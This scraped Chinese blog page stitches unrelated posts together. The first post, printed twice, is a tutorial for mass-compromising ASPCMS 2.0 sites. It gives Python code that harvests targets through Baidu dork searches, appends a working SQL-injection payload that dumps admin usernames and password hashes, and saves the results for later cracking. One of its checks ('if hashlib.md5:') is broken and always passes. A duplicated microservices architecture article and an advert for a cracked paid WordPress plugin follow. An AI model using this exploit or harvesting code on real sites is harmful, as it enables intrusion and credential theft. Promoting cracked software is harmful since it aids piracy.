可以看到网站非常简单,我们要取的内容分别在不同的属性值一个为class:line1,一个为class:line2.我们只要用bs模块取出这两个标签中的内容就可以了。
代码如下
# -*- coding: UTF-8 -*-<br />from bs4 import BeautifulSoup as bs<br />import requests<br />import time<br />import hashlib<br />def expp():<br /> f = open("cs.txt","r")#打开我们刚刚收集的文本文档<br /> url=f.readlines()#逐行取出我们的链接<br /> for i in url:#将取出的链接放入循环中<br /> try:#加入异常处理,让报错直接忽略,不影响程序运行<br /> r=requests.get(i,timeout=5)#请求网址<br /> if r.status_code == 200:#判断网址是否可以正常打开,可以去掉这一个,我们刚刚验证了<br /> soup=bs(r.text,"lxml")#用bp解析网站<br /> if hashlib.md5:#判断网址中是否有MD5,如果有继续运行<br /> mb1=soup.find_all(name="div",attrs={"class":"line1"})[0].text#获取line1数据<br /> mb2=soup.find_all(name="div",attrs={"class":"line2"})[0].text#获取line2数据<br /> f2=open('cs2.txt','a+')#打开我们的文本<br /> f2.write(i+"\n"+mb1+"\n")#将我们验证好的链接,还有数据保存在文本中<br /> f2.close()<br /> print (mb1)<br /> print (mb2)<br /> except:<br /><br /> pass<br /> f.close()<br />expp()
运行一下:
成功,我们看一下我们的文件。
完美,然后我们就可以去找后台然后解密啦,你们懂得。
exp:
百度关键字:有限公司--Powered by ASPCMS 2.0<br />exp:/plug/comment/commentList.asp?id=0%20unmasterion%20semasterlect%20top%201%20UserID,GroupID,LoginName,Password,now%28%29,null,1%20%20frmasterom%20{prefix}user
四.总结
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一.前言
最近几天在整理从各处收集来的各种工具包,大大小小的塞满了十几个G的硬盘,无意间发现了一个好几年前的0day。
心血来潮就拿去试了一下,没想到真的还可以用,不过那些站点都已经老的不像样了,个个年久失修,手工测了几个发现,利用率还挺可观,于是就想配合url采集器写一个批量exp的脚本。
于是就有了今天这一文,结尾附上一枚表哥论坛的邀请码一不小心买多了。先到先得哦。
二.开始
环境,及使用模块:
Python3
Requests
Beautifulsuop
Hashlib
老规矩先明确目标
需要编写一个url采集器,收集我们的目标网址,
需要将我们的exp结合在其中。
先看一下exp 的格式吧,大致是这样的:
exp:xxx/xxx/xxx/xxx
百度关键字:xxxxxx
利用方式在网站后加上exp,直接爆出管理账号密码,
像这样:
PS:后面都用这个代替我们的代码中
再放个效果图
没错就是这样。直接出账号密码哈哈哈。
好了我们正式开始写程序。
url采集模块:
首先我们要编写一个基于百度搜索的url采集器。我们先来分析一下百度的搜索方式,
我们打开百度,输入搜索关键字 这里用芒果代替。
可以看到wd参数后跟着我们的关键字,我们点击一下第二页看下页码是哪个参数在控制。
好的我们和前面url对比一下会发现pn参数变成了10,同理我们开启第三页第四页,发现页码的规律是从0开始每一页加10.这里我们修改pn参数为90看下是不是会到第十页。
可以看到真的变成第十页了,证明我们的想法是正确的。我们取出网址如下
芒果&pn=0
这里pn参数后面的东西我们可以不要,这样就精简很多。
我们开始写代码。我们先需要一个main函数打开我们的百度网页,我们并利用for循环控制页码变量,实现打开每一页的内容。

先实现打开一页网站,代码如下
import requests<br />from bs4 import BeautifulSoup as bs #这里吧模块命名为了bs,方面我们调用。<br />def main():<br /> url='https://www.baidu.com/s?wd=芒果&pn=0'#定义url<br /> r=requests.get(url=url)#请求目标网址<br /> soup=bs(r.content,'lxml')#利用bs解析网址<br /> print soup<br /><br />if __name__ == '__main__':<br /> main()#调用函数main
我们运行一下发现返回的页面是这样的,并没有我们想要的内容。
这是为什么,原因就是因为百度是做了反爬的,但是不用担心,我们只要加入headers参数,一起请求就可以了。修改后代码如下:
def main():<br /> url='https://www.baidu.com/s?wd=芒果&pn=0'#定义url<br /> headers={'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0'}#这里百度是加了防爬机制的,需要加上user_agent验证一下否则就会返回错误<br /> r=requests.get(url=url,headers=headers)#请求目标网址<br /> soup=bs(r.content,'lxml')#利用bs解析网址<br /> print soup
这样在运行,就可以看到成功的返回了网页内容。
好的,我们再加上我们的循环,让他可以遍历每一个网页。一个简单的爬虫就写好了,不过什么内容也没爬,先附上代码。
import requests<br />from bs4 import BeautifulSoup as bs #这里吧模块命名为了bs,方面我们调用。<br />def main():<br /> for i in range(0,750,10):#遍历页数,每次增加10<br /> url='https://www.baidu.com/s?wd=芒果&pn=%s'%(str(i))#定义url<br /> headers={'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0'}#这里百度是加了防爬机制的,需要加上user_agent验证一下否则就会返回错误<br /> r=requests.get(url=url,headers=headers)#请求目标网址<br /> soup=bs(r.content,'lxml')#利用bs解析网址<br /> print soup<br />if __name__ == '__main__':<br /> main()#调用函数main
我们继续分析网页,取出每一个网址。右键审查元素,查看在源代码中的位置。
可以看到,我们的要取的数据,在一个名字为a的标签中,我们用bs取出这个标签所有内容。
并用循环去取出“href”属性中的网址,main函数代码如下。
def main():<br /> for i in range(0,10,10):<br /> url='https://www.baidu.com/s?wd=芒果&pn=%s'%(str(i))<br /> headers={'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0'}<br /> r=requests.get(url=url,headers=headers)<br /> soup=bs(r.content,'lxml')<br /> urls=soup.find_all(name='a',attrs={'data-click':re.compile(('.')),'class':None})#利用bs取出我们想要的内容,re模块是为了让我们取出这个标签的所有内容。<br /> for url in urls:<br /> print url['href']#取出href中的链接内容
这里解释一下为什么有class:none这个语句,如果我们不加这一句,我们会发现我们同时也取到了百度快照的地址。
在快照的地址中,class属性是有值的,但是我们真正的链接中,没有class属性,这样我们就不会取到快照的链接了。
运行一下,成功返回我们要的链接
我们下一步就是验证这些链接是否可用,因为有的网站虽然还可以搜索到,但是已经打不开了。
这里利用request模块以此请求我们的链接,并查看返回的状态码是不是200,如果为两百则说明,网站是正常可以打开的。
在for循环中加上如下两行代码,运行。
r_get_url=requests.get(url=url['href'],headers=headers,timeout=4)#请求抓取的链接,并设置超时时间为4秒。<br />print r_get_url.status_code
可以看到成功反返回了200,。接下来我们就要吧可以成功访问的网址的地址打印出来,并且只要网站的主页网址。
我们分析一个网址
发现这里都是由“/”分割的,我们可以吧url用“/”分割,并取出我们要向的网址。
运行程序后。会发现返回这样的网址,他们有一部分是带着目录的。
我们用/分割url为列表之后,列表中的第一个为网站所使用协议,第三个则为我们要取的网址首页。代码如下
def main():<br /> for i in range(0,10,10):<br /> url='https://www.baidu.com/s?wd=芒果&pn=%s'%(str(i))<br /> headers={'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0'}<br /> r=requests.get(url=url,headers=headers)<br /> soup=bs(r.content,'lxml')<br /> urls=soup.find_all(name='a',attrs={'data-click':re.compile(('.')),'class':None})#利用bs取出我们想要的内容,re模块是为了让我们取出这个标签的所有内容。<br /> for url in urls:<br /> r_get_url=requests.get(url=url['href'],headers=headers,timeout=4)#请求抓取的链接,并设置超时时间为4秒。<br /> if r_get_url.status_code==200:#判断状态码是否为200<br /> url_para= r_get_url.url#获取状态码为200的链接<br /><br /> url_index_tmp=url_para.split('/')#以“/”分割url<br /> url_index=url_index_tmp[0]+'//'+url_index_tmp[2]#将分割后的网址重新拼凑成标准的格式。<br /> print url_index
运行后,成功取出我们要取的内容。
好的到这里我们最主要的功能就实现了,下面我们进入我们激动人心的时候,加入exp,批量拿站。
三.exp模板
如何实现这个功能呢,原理就是,在我们爬取的链接后加入我们的exp,拼接成一个完整的地址,并取出这个网址并保存在一个txt文本中,供我们验证。
现在我们的代码是这样的
# -*- coding: UTF-8 -*-<br />import requests<br />import re<br />from bs4 import BeautifulSoup as bs<br />def main():<br /> for i in range(0,10,10):<br /> expp=("/xxx/xxx/xxx/xx/xxxx/xxx")<br /> url='https://www.baidu.com/s?wd=xxxxxxxxx&pn=%s'%(str(i))<br /> headers={'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0'}<br /> r=requests.get(url=url,headers=headers)<br /> soup=bs(r.content,'lxml')<br /> urls=soup.find_all(name='a',attrs={'data-click':re.compile(('.')),'class':None})<br /> for url in urls:<br /> r_get_url=requests.get(url=url['href'],headers=headers,timeout=4)<br /> if r_get_url.status_code==200:<br /> url_para= r_get_url.url<br /> url_index_tmp=url_para.split('/')<br /> url_index=url_index_tmp[0]+'//'+url_index_tmp[2]<br /> with open('cs.txt') as f:<br /> if url_index not in f.read():#这里是一个去重的判断,判断网址是否已经在文本中,如果不存在则打开txt并写入我们拼接的exp链接。<br /> print url_index<br /> f2=open("cs.txt",'a+')<br /> f2.write(url_index+expp+'\n')<br /> f2.close()<br /><br />if __name__ == '__main__':<br /> f2=open('cs.txt','w')<br /> f2.close()<br /> main()
这里我把exp用xxx代替了,你们自行替换一下。放在最后了。

运行一下我们的程序,在根目录下,我们可以找到一个cs.txt的文本文档,打开之后是这样的。
打码有一点点严重。不过不影响,小问题,大家理解就好了,其实到这里就结束了,我们可以手工去验证,一条一条的去粘贴访问,查看是否有我们要的内容
But,我懒啊,一条一条的去验证,何年何月了。
这里我们在新建一个py文件,用来验证我们上一步抓取的链接,这样我们就把两个模块分开了,你们可以只用第一个url采集的功能。
我们的思路是这样的,打开我们刚才采集的链接,并查找网页上是否有特定内容,如果有,则讲次链接保存在一个文件中,就是我们验证可以成功利用的链接。
我们先看一下利用成功的页面是什么样子的。
利用失败的页面
我们发现利用成功的页面中有管理员密码的hash,这里我们利用hashlib模块判断页面中是否有MD5,如果有则打印出来,并将MD5取出来和链接一起保存再文本中。
我们先分析一下网站源码,方便我们取出内容
可以看到网站非常简单,我们要取的内容分别在不同的属性值一个为class:line1,一个为class:line2.我们只要用bs模块取出这两个标签中的内容就可以了。
代码如下
# -*- coding: UTF-8 -*-<br />from bs4 import BeautifulSoup as bs<br />import requests<br />import time<br />import hashlib<br />def expp():<br /> f = open("cs.txt","r")#打开我们刚刚收集的文本文档<br /> url=f.readlines()#逐行取出我们的链接<br /> for i in url:#将取出的链接放入循环中<br /> try:#加入异常处理,让报错直接忽略,不影响程序运行<br /> r=requests.get(i,timeout=5)#请求网址<br /> if r.status_code == 200:#判断网址是否可以正常打开,可以去掉这一个,我们刚刚验证了<br /> soup=bs(r.text,"lxml")#用bp解析网站<br /> if hashlib.md5:#判断网址中是否有MD5,如果有继续运行<br /> mb1=soup.find_all(name="div",attrs={"class":"line1"})[0].text#获取line1数据<br /> mb2=soup.find_all(name="div",attrs={"class":"line2"})[0].text#获取line2数据<br /> f2=open('cs2.txt','a+')#打开我们的文本<br /> f2.write(i+"\n"+mb1+"\n")#将我们验证好的链接,还有数据保存在文本中<br /> f2.close()<br /> print (mb1)<br /> print (mb2)<br /> except:<br /><br /> pass<br /> f.close()<br />expp()
运行一下:
成功,我们看一下我们的文件。
完美,然后我们就可以去找后台然后解密啦,你们懂得。
exp:
百度关键字:有限公司--Powered by ASPCMS 2.0<br />exp:/plug/comment/commentList.asp?id=0%20unmasterion%20semasterlect%20top%201%20UserID,GroupID,LoginName,Password,now%28%29,null,1%20%20frmasterom%20{prefix}user
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18 张图,详解微服务架构
网站优化 • 优采云 发表了文章 • 0 个评论 • 106 次浏览 • 2022-09-05 14:05
链接:
本文将介绍微服务架构和相关的组件,介绍他们是什么以及为什么要使用微服务架构和这些组件。
本文侧重于简明地表达微服务架构的全局图景,因此不会涉及具体如何使用组件等细节。
要理解微服务,首先要先理解不是微服务的那些。通常跟微服务相对的是单体应用,即将所有功能都打包成在一个独立单元的应用程序。
从单体应用到微服务并不是一蹴而就的,这是一个逐渐演变的过程。
本文将以一个网上超市应用为例来说明这一过程。
最初的需求
几年前,小明和小皮一起创业做网上超市,小明负责程序开发,小皮负责其他事宜。当时互联网还不发达,网上超市还是蓝海。只要功能实现了就能随便赚钱。
所以他们的需求很简单,只需要一个网站挂在公网,用户能够在这个网站上浏览商品、购买商品;另外还需一个管理后台,可以管理商品、用户、以及订单数据。
我们整理一下功能清单:
管理后台
由于需求简单,小明左手右手一个慢动作,网站就做好了。
管理后台出于安全考虑,不和网站做在一起,小明右手左手慢动作重播,管理网站也做好了。
总体架构图如下:
小明挥一挥手,找了家云服务部署上去,网站就上线了。上线后好评如潮,深受各类肥宅喜爱。小明小皮美滋滋地开始躺着收钱。
随着业务发展
好景不长,没过几天,各类网上超市紧跟着拔地而起,对小明小皮造成了强烈的冲击。
在竞争的压力下,小明小皮决定开展一些营销手段:
这些活动都需要程序开发的支持,小明拉了同学小红加入团队。小红负责数据分析以及移动端相关开发,小明负责促销活动相关功能的开发。
因为开发任务比较紧迫,小明小红没有好好规划整个系统的架构,随便拍了拍脑袋,决定把促销管理和数据分析放在管理后台里,微信和移动端 APP 另外搭建。通宵了几天后,新功能和新应用基本完工。
这时架构图如下:
这一阶段存在很多不合理的地方:
尽管有着诸多问题,但也不能否认这一阶段的成果:快速地根据业务变化建设了系统。不过紧迫且繁重的任务容易使人陷入局部、短浅的思维方式,从而做出妥协式的决策。
在这种架构中,每个人都只关注在自己的一亩三分地,缺乏全局的、长远的设计。长此以往,系统建设将会越来越困难,甚至陷入不断推翻、重建的循环。
是时候做出改变了
幸好小明和小红是有追求有理想的好青年。意识到问题后,小明和小红从琐碎的业务需求中腾出了一部分精力,开始梳理整体架构,针对问题准备着手改造。
要做改造,首先你需要有足够的精力和资源。如果你的需求方(业务人员、项目经理、上司等)很强势地一心追求需求进度,以致于你无法挪出额外的精力和资源的话,那么你可能无法做任何事
在编程的世界中,最重要的便是抽象能力。微服务改造的过程实际上也是个抽象的过程。
小明和小红整理了网上超市的业务逻辑,抽象出公用的业务能力,做成几个公共服务:
各个应用后台只需从这些服务获取所需的数据,从而删去了大量冗余的代码,就剩个轻薄的控制层和前端。
这一阶段的架构如下:
这个阶段只是将服务分开了,数据库依然是共用的,所以一些烟囱式系统的缺点仍然存在:
如果一直保持共用数据库的模式,则整个架构会越来越僵化,失去了微服务架构的意义。
因此小明和小红一鼓作气,把数据库也拆分了。所有持久化层相互隔离,由各个服务自己负责。另外,为了提高系统的实时性,加入了消息队列机制。
架构如下:
完全拆分后各个服务可以采用异构的技术。比如数据分析服务可以使用数据仓库作为持久化层,以便于高效地做一些统计计算;商品服务和促销服务访问频率比较大,因此加入了缓存机制等。
还有一种抽象出公共逻辑的方法是把这些公共逻辑做成公共的框架库。这种方法可以减少服务调用的性能损耗。但是这种方法的管理成本非常高昂,很难保证所有应用版本的一致性。
数据库拆分也有一些问题和挑战:比如说跨库级联的需求,通过服务查询数据颗粒度的粗细问题等。但是这些问题可以通过合理的设计来解决。总体来说,数据库拆分是一个利大于弊的。
微服务架构还有一个技术外的好处,它使整个系统的分工更加明确,责任更加清晰,每个人专心负责为其他人提供更好的服务。
在单体应用的时代,公共的业务功能经常没有明确的归属。最后要么各做各的,每个人都重新实现了一遍;要么是随机一个人(一般是能力比较强或者比较热心的人)做到他负责的应用里面。
在后者的情况下,这个人在负责自己应用之外,还要额外负责给别人提供这些公共的功能——而这个功能本来是无人负责的,仅仅因为他能力较强/比较热心,就莫名地背锅(这种情况还被美其名曰能者多劳)。
结果最后大家都不愿意提供公共的功能。长此以往,团队里的人渐渐变得各自为政,不再关心全局的架构设计。
从这个角度上看,使用微服务架构同时也需要组织结构做相应的调整。所以说做微服务改造需要管理者的支持。
改造完成后,小明和小红分清楚各自的锅。两人十分满意,一切就像是麦克斯韦方程组一样漂亮完美。
然而……
没有银弹
春天来了,万物复苏,又到了一年一度的购物狂欢节。眼看着日订单数量蹭蹭地上涨,小皮小明小红喜笑颜开。
可惜好景不长,乐极生悲,突然嘣的一下,系统挂了。
以往单体应用,排查问题通常是看一下日志,研究错误信息和调用堆栈。而微服务架构整个应用分散成多个服务,定位故障点非常困难。
小明一个台机器一台机器地查看日志,一个服务一个服务地手工调用。经过十几分钟的查找,小明终于定位到故障点:促销服务由于接收的请求量太大而停止响应了。其他服务都直接或间接地会调用促销服务,于是也跟着宕机了。
在微服务架构中,一个服务故障可能会产生雪崩效用,导致整个系统故障。
其实在节前,小明和小红是有做过请求量评估的。按照预计,服务器资源是足以支持节日的请求量的,所以肯定是哪里出了问题。
不过形势紧急,随着每一分每一秒流逝的都是白花花的银子,因此小明也没时间排查问题,当机立断在云上新建了几台虚拟机,然后一台一台地部署新的促销服务节点。
几分钟的操作后,系统总算是勉强恢复正常了。整个故障时间内估计损失了几十万的销售额,三人的心在滴血。
事后,小明简单写了个日志分析工具(量太大了,文本编辑器几乎打不开,打开了肉眼也看不过来),统计了促销服务的访问日志,发现在故障期间,商品服务由于代码问题,在某些场景下会对促销服务发起大量请求。
这个问题并不复杂,小明手指抖一抖,修复了这个价值几十万的 Bug。
问题是解决了,但谁也无法保证不会再发生类似的其他问题。微服务架构虽然逻辑设计上看是完美的,但就像积木搭建的华丽宫殿一样,经不起风吹草动。微服务架构虽然解决了旧问题,也引入了新的问题:
小明小红痛定思痛,决心好好解决这些问题。对故障的处理一般从两方面入手,一方面尽量减少故障发生的概率,另一方面降低故障造成的影响。
监控 - 发现故障的征兆
在高并发分布式的场景下,故障经常是突然间就雪崩式爆发。所以必须建立完善的监控体系,尽可能发现故障的征兆。
微服务架构中组件繁多,各个组件所需要监控的指标不同。比如 Redis 缓存一般监控占用内存值、网络流量,数据库监控连接数、磁盘空间,业务服务监控并发数、响应延迟、错误率等。
因此如果做一个大而全的监控系统来监控各个组件是不大现实的,而且扩展性会很差。一般的做法是让各个组件提供报告自己当前状态的接口(metrics接口),这个接口输出的数据格式应该是一致的。
然后部署一个指标采集器组件,定时从这些接口获取并保持组件状态,同时提供查询服务。
最后还需要一个 UI,从指标采集器查询各项指标,绘制监控界面或者根据阈值发出告警。
大部分组件都不需要自己动手开发,网络上有开源组件。小明下载了 RedisExporter 和 MySQLExporter,这两个组件分别提供了 Redis 缓存和 MySQL 数据库的指标接口。
微服务则根据各个服务的业务逻辑实现自定义的指标接口。
然后小明采用 Prometheus 作为指标采集器,Grafana 配置监控界面和邮件告警。
这样一套微服务监控系统就搭建起来了:
定位问题 - 链路跟踪
在微服务架构下,一个用户的请求往往涉及多个内部服务调用。为了方便定位问题,需要能够记录每个用户请求时,微服务内部产生了多少服务调用,及其调用关系。这个叫做链路跟踪。
我们用一个 Istio 文档里的链路跟踪例子来看看效果:
从图中可以看到,这是一个用户访问 productpage 页面的请求。在请求过程中,productpage 服务顺序调用了 details 和 reviews 服务的接口。
而 reviews 服务在响应过程中又调用了 ratings 的接口。整个链路跟踪的记录是一棵树:
要实现链路跟踪,每次服务调用会在 HTTP 的 HEADERS 中记录至少记录四项数据:
另外,还需要调用日志收集与存储的组件,以及展示链路调用的UI组件。
以上只是一个极简的说明,关于链路跟踪的理论依据可详见 Google 的 Dapper。
了解了理论基础后,小明选用了 Dapper 的一个开源实现 Zipkin。然后手指一抖,写了个 HTTP 请求的拦截器,在每次 HTTP 请求时生成这些数据注入到 HEADERS,同时异步发送调用日志到 Zipkin 的日志收集器中。 查看全部
18 张图,详解微服务架构
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本文将介绍微服务架构和相关的组件,介绍他们是什么以及为什么要使用微服务架构和这些组件。
本文侧重于简明地表达微服务架构的全局图景,因此不会涉及具体如何使用组件等细节。
要理解微服务,首先要先理解不是微服务的那些。通常跟微服务相对的是单体应用,即将所有功能都打包成在一个独立单元的应用程序。
从单体应用到微服务并不是一蹴而就的,这是一个逐渐演变的过程。
本文将以一个网上超市应用为例来说明这一过程。
最初的需求
几年前,小明和小皮一起创业做网上超市,小明负责程序开发,小皮负责其他事宜。当时互联网还不发达,网上超市还是蓝海。只要功能实现了就能随便赚钱。
所以他们的需求很简单,只需要一个网站挂在公网,用户能够在这个网站上浏览商品、购买商品;另外还需一个管理后台,可以管理商品、用户、以及订单数据。
我们整理一下功能清单:
管理后台
由于需求简单,小明左手右手一个慢动作,网站就做好了。
管理后台出于安全考虑,不和网站做在一起,小明右手左手慢动作重播,管理网站也做好了。
总体架构图如下:
小明挥一挥手,找了家云服务部署上去,网站就上线了。上线后好评如潮,深受各类肥宅喜爱。小明小皮美滋滋地开始躺着收钱。
随着业务发展
好景不长,没过几天,各类网上超市紧跟着拔地而起,对小明小皮造成了强烈的冲击。
在竞争的压力下,小明小皮决定开展一些营销手段:
这些活动都需要程序开发的支持,小明拉了同学小红加入团队。小红负责数据分析以及移动端相关开发,小明负责促销活动相关功能的开发。
因为开发任务比较紧迫,小明小红没有好好规划整个系统的架构,随便拍了拍脑袋,决定把促销管理和数据分析放在管理后台里,微信和移动端 APP 另外搭建。通宵了几天后,新功能和新应用基本完工。
这时架构图如下:
这一阶段存在很多不合理的地方:
尽管有着诸多问题,但也不能否认这一阶段的成果:快速地根据业务变化建设了系统。不过紧迫且繁重的任务容易使人陷入局部、短浅的思维方式,从而做出妥协式的决策。
在这种架构中,每个人都只关注在自己的一亩三分地,缺乏全局的、长远的设计。长此以往,系统建设将会越来越困难,甚至陷入不断推翻、重建的循环。
是时候做出改变了
幸好小明和小红是有追求有理想的好青年。意识到问题后,小明和小红从琐碎的业务需求中腾出了一部分精力,开始梳理整体架构,针对问题准备着手改造。

要做改造,首先你需要有足够的精力和资源。如果你的需求方(业务人员、项目经理、上司等)很强势地一心追求需求进度,以致于你无法挪出额外的精力和资源的话,那么你可能无法做任何事
在编程的世界中,最重要的便是抽象能力。微服务改造的过程实际上也是个抽象的过程。
小明和小红整理了网上超市的业务逻辑,抽象出公用的业务能力,做成几个公共服务:
各个应用后台只需从这些服务获取所需的数据,从而删去了大量冗余的代码,就剩个轻薄的控制层和前端。
这一阶段的架构如下:
这个阶段只是将服务分开了,数据库依然是共用的,所以一些烟囱式系统的缺点仍然存在:
如果一直保持共用数据库的模式,则整个架构会越来越僵化,失去了微服务架构的意义。
因此小明和小红一鼓作气,把数据库也拆分了。所有持久化层相互隔离,由各个服务自己负责。另外,为了提高系统的实时性,加入了消息队列机制。
架构如下:
完全拆分后各个服务可以采用异构的技术。比如数据分析服务可以使用数据仓库作为持久化层,以便于高效地做一些统计计算;商品服务和促销服务访问频率比较大,因此加入了缓存机制等。
还有一种抽象出公共逻辑的方法是把这些公共逻辑做成公共的框架库。这种方法可以减少服务调用的性能损耗。但是这种方法的管理成本非常高昂,很难保证所有应用版本的一致性。
数据库拆分也有一些问题和挑战:比如说跨库级联的需求,通过服务查询数据颗粒度的粗细问题等。但是这些问题可以通过合理的设计来解决。总体来说,数据库拆分是一个利大于弊的。
微服务架构还有一个技术外的好处,它使整个系统的分工更加明确,责任更加清晰,每个人专心负责为其他人提供更好的服务。
在单体应用的时代,公共的业务功能经常没有明确的归属。最后要么各做各的,每个人都重新实现了一遍;要么是随机一个人(一般是能力比较强或者比较热心的人)做到他负责的应用里面。
在后者的情况下,这个人在负责自己应用之外,还要额外负责给别人提供这些公共的功能——而这个功能本来是无人负责的,仅仅因为他能力较强/比较热心,就莫名地背锅(这种情况还被美其名曰能者多劳)。
结果最后大家都不愿意提供公共的功能。长此以往,团队里的人渐渐变得各自为政,不再关心全局的架构设计。
从这个角度上看,使用微服务架构同时也需要组织结构做相应的调整。所以说做微服务改造需要管理者的支持。
改造完成后,小明和小红分清楚各自的锅。两人十分满意,一切就像是麦克斯韦方程组一样漂亮完美。
然而……
没有银弹
春天来了,万物复苏,又到了一年一度的购物狂欢节。眼看着日订单数量蹭蹭地上涨,小皮小明小红喜笑颜开。
可惜好景不长,乐极生悲,突然嘣的一下,系统挂了。
以往单体应用,排查问题通常是看一下日志,研究错误信息和调用堆栈。而微服务架构整个应用分散成多个服务,定位故障点非常困难。
小明一个台机器一台机器地查看日志,一个服务一个服务地手工调用。经过十几分钟的查找,小明终于定位到故障点:促销服务由于接收的请求量太大而停止响应了。其他服务都直接或间接地会调用促销服务,于是也跟着宕机了。
在微服务架构中,一个服务故障可能会产生雪崩效用,导致整个系统故障。
其实在节前,小明和小红是有做过请求量评估的。按照预计,服务器资源是足以支持节日的请求量的,所以肯定是哪里出了问题。
不过形势紧急,随着每一分每一秒流逝的都是白花花的银子,因此小明也没时间排查问题,当机立断在云上新建了几台虚拟机,然后一台一台地部署新的促销服务节点。

几分钟的操作后,系统总算是勉强恢复正常了。整个故障时间内估计损失了几十万的销售额,三人的心在滴血。
事后,小明简单写了个日志分析工具(量太大了,文本编辑器几乎打不开,打开了肉眼也看不过来),统计了促销服务的访问日志,发现在故障期间,商品服务由于代码问题,在某些场景下会对促销服务发起大量请求。
这个问题并不复杂,小明手指抖一抖,修复了这个价值几十万的 Bug。
问题是解决了,但谁也无法保证不会再发生类似的其他问题。微服务架构虽然逻辑设计上看是完美的,但就像积木搭建的华丽宫殿一样,经不起风吹草动。微服务架构虽然解决了旧问题,也引入了新的问题:
小明小红痛定思痛,决心好好解决这些问题。对故障的处理一般从两方面入手,一方面尽量减少故障发生的概率,另一方面降低故障造成的影响。
监控 - 发现故障的征兆
在高并发分布式的场景下,故障经常是突然间就雪崩式爆发。所以必须建立完善的监控体系,尽可能发现故障的征兆。
微服务架构中组件繁多,各个组件所需要监控的指标不同。比如 Redis 缓存一般监控占用内存值、网络流量,数据库监控连接数、磁盘空间,业务服务监控并发数、响应延迟、错误率等。
因此如果做一个大而全的监控系统来监控各个组件是不大现实的,而且扩展性会很差。一般的做法是让各个组件提供报告自己当前状态的接口(metrics接口),这个接口输出的数据格式应该是一致的。
然后部署一个指标采集器组件,定时从这些接口获取并保持组件状态,同时提供查询服务。
最后还需要一个 UI,从指标采集器查询各项指标,绘制监控界面或者根据阈值发出告警。
大部分组件都不需要自己动手开发,网络上有开源组件。小明下载了 RedisExporter 和 MySQLExporter,这两个组件分别提供了 Redis 缓存和 MySQL 数据库的指标接口。
微服务则根据各个服务的业务逻辑实现自定义的指标接口。
然后小明采用 Prometheus 作为指标采集器,Grafana 配置监控界面和邮件告警。
这样一套微服务监控系统就搭建起来了:
定位问题 - 链路跟踪
在微服务架构下,一个用户的请求往往涉及多个内部服务调用。为了方便定位问题,需要能够记录每个用户请求时,微服务内部产生了多少服务调用,及其调用关系。这个叫做链路跟踪。
我们用一个 Istio 文档里的链路跟踪例子来看看效果:
从图中可以看到,这是一个用户访问 productpage 页面的请求。在请求过程中,productpage 服务顺序调用了 details 和 reviews 服务的接口。
而 reviews 服务在响应过程中又调用了 ratings 的接口。整个链路跟踪的记录是一棵树:
要实现链路跟踪,每次服务调用会在 HTTP 的 HEADERS 中记录至少记录四项数据:
另外,还需要调用日志收集与存储的组件,以及展示链路调用的UI组件。
以上只是一个极简的说明,关于链路跟踪的理论依据可详见 Google 的 Dapper。
了解了理论基础后,小明选用了 Dapper 的一个开源实现 Zipkin。然后手指一抖,写了个 HTTP 请求的拦截器,在每次 HTTP 请求时生成这些数据注入到 HEADERS,同时异步发送调用日志到 Zipkin 的日志收集器中。
WordPress自动采集插件AutoPost
网站优化 • 优采云 发表了文章 • 0 个评论 • 207 次浏览 • 2022-08-28 16:52
WordPress有一款插件自动采集插件叫AutoPost还有的称呼AutoPostPro反正就是叫来叫去官方收费的…
wordpress中文采集wp-autopost pro 3.7.8或者3-7.7都有 想要工具的采集交流或者代写规则联系v❤:AutoPostPro
采集插件适用对象
1、刚建的wordpress站点内容比较少,希望尽快有比较丰富的内容;
2、热点内容自动采集并自动发布;
3、定时采集,手动采集发布或保存到草稿;
4、css样式规则,能更精确的采集需要的内容。
5、伪原创与翻译、代理IP进行采集、保存Cookie记录;
6、可采集内容到自定义栏目
7、解决部分用户使用3.6.1版本导致整站后台与前台卡顿的问题!
----此版本与官方的功能没有任何区别;
WP-AutoPost Pro 在采集方面有什么优势?
一、安装方便,全自动采集,实现无人值守
WP-AutoPost 可以直接在后台插件面板上传安装,只需要点击几下,就可以激活使用。激活后,你可以看到 WP-AutoPost 的管理面板被集成在了左侧,各种采集规则设置一目了然,即便是 WordPress 新手也能很快上手。等到配置完采集规则后,即可以开启任务,WP-AutoPost 会自动采集好目标站的内容,自动发布到你的网站里。
二、采集规则配置简单,支持通配符和 CSS,完美支持 WordPress 各种功能
相比于优采云采集器的繁琐规则,WP-AutoPost Pro 真正做到了人性化,它的定向采集只需要提供文章列表 URL 即可智能采集来自于任何网站或栏目的内容。支持采集标题,正文,可自动设置分类目录、标签、摘要、特色图片,支持自定义栏目、自定义文章类型等。
三、中英文翻译,伪原创的支持
相信很多站长有伪原创这方面的需求,来迎合搜索引擎的喜好。WP-AutoPost Pro 巧妙的内置了各种伪原创工具,支持百度翻译(需要配置接口),也支持国外最优秀伪原创工具 WordAi,Spin Rewriter 等。
四、支持图片等附件下载,支持添加水印,支持 Flick、七牛云等第三方图片存储
WP-AutoPost Pro 还有个令人称赞的地方是支持远程图片下载到本地服务器,也可以下载到像 Flick、七牛云等第三方图片存储,并且可以为图片加上水印(文本水印和图片水印)。
五、强大的 SEO 设置选项
像优采云一样,WP-AutoPost 采集插件也支持 HTML 标签过滤,关键词替换,自动添加链接,添加自定义内容,自定义文章样式等,最大限度得使采集的内容区别于原网站的内容,利于搜索引擎排名。
附加:
WP-AutoPost Pro V3.7.8
特别说明:
1. 本插件是基于 WP-AutoPost Pro对应版本破解修复版,耗费了店主的大量时间与精力。
2.本版本主要修复了:规则正确后采集找不到文章内容和标题(采集整版二次验证问题),翻译功能无法使用的问题。
3.不要说买完用不了(不提供技术支持,插件官网有教程),建议有基础知识的朋友购买。
详细使用教程 查看全部
WordPress自动采集插件AutoPost
WordPress有一款插件自动采集插件叫AutoPost还有的称呼AutoPostPro反正就是叫来叫去官方收费的…
wordpress中文采集wp-autopost pro 3.7.8或者3-7.7都有 想要工具的采集交流或者代写规则联系v❤:AutoPostPro
采集插件适用对象
1、刚建的wordpress站点内容比较少,希望尽快有比较丰富的内容;
2、热点内容自动采集并自动发布;
